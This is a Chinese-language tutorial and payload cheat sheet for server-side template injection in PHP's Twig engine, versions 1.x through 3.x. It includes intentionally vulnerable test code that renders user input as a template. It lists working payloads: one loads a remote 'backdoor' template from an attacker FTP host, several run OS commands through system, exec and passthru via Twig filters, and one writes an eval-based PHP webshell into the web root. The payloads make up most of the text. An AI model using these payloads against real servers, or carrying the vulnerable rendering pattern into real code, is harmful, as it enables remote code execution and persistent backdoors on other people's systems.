twig的安装:
twig存在1.x,2.x,3.x的多个版本,不同版本的payload也有所不同。我们选择安装3.x版本的twig并且使用PHP7.x运行。
使用composer一键安装:
composer require "twig/twig:^3.0"
建议事先建立好一个名为twig的文件夹,cd进入文件夹后进行安装,成功后得到如下的文件结构:
payload
twig1.x
测试代码:
<?php
include __DIR__.'/vendor/twig/twig/lib/Twig/Autoloader.php';
Twig_Autoloader::register();
loader = new Twig_Loader_String();twig = new Twig_Environment(loader);
echotwig->render($_GET['name']);
?>
在twig1.x下,存在全局变量_self,指向的是引用当前模板的实例,代码层面如下:
protected specialVars = [
'_self' => 'this',
'_context' => 'context',
'_charset' => 'this->env->getCharset()',
];
我们可以利用_self变量,返回当前 \Twig\Template 实例,提供指向Twig_Environment的env属性,可以继续调用 Twig_Environment 中的其他方法,从而进行 SSTI。
比如以下 Payload 可以调用 setCache 方法改变 Twig 加载 PHP 文件的路径,在 allow_url_include 开启的情况下我们可以通过改变路径实现远程文件包含:
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
getFilter函数中存在危险函数call_user_func
public function getFilter(name)
{
...
foreach (this->filterCallbacks as callback) {
if (false !==filter = call_user_func(callback,name)) {
return filter;
}
}
return false;
}
public function registerUndefinedFilterCallback(callable)
{
this->filterCallbacks[] =callable;
}
通过传递参数到该函数中,我们可以调用任意 PHP 函数。Payload 如下:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
在twig2.x和3.x中_self的作用发生变化,此payload不能继续使用。
twig2.x&&3.x
测试代码:
<?php
require_once __DIR__.'/vendor/autoload.php';
loader = new \Twig\Loader\ArrayLoader();twig = new \Twig\Environment(loader);template = twig->createTemplate("Hello {_GET['name']}!");
echo $template->render();
使用map过滤器
{{["calc"]|map("system")}}
{{["calc"]|map("passthru")}}
{{["calc"]|map("exec")}}
我们将传入的name值设为上面的payload,可以在Windows本地环境中成功执行:
如果以上几个函数被禁用,我们还可以调用file_put_contents函数写一句话木马,生成webshell。
{{{"<?php phpinfo();eval($_POST[whoami])":"/var/www/html/shell.php"}|map("file_put_contents")}}
诸如此类方法有很多,在此就不一一进行列举。
使用sort过滤器
{{["calc", 0]|sort("system")}}
{{["calc", 0]|sort("passthru")}}
{{["calc", 0]|sort("exec")}}
使用filter过滤器
{{["calc"]|filter("system")}}
{{["calc"]|filter("passthru")}}
{{["calc"]|filter("exec")}}
使用reduce过滤器
{{[0, 0]|reduce("system", "calc")}}
{{[0, 0]|reduce("passthru", "calc")}}
{{[0, 0]|reduce("exec", "calc")}}
参考(白嫖出处):https://xz.aliyun.com/t/10056#toc-16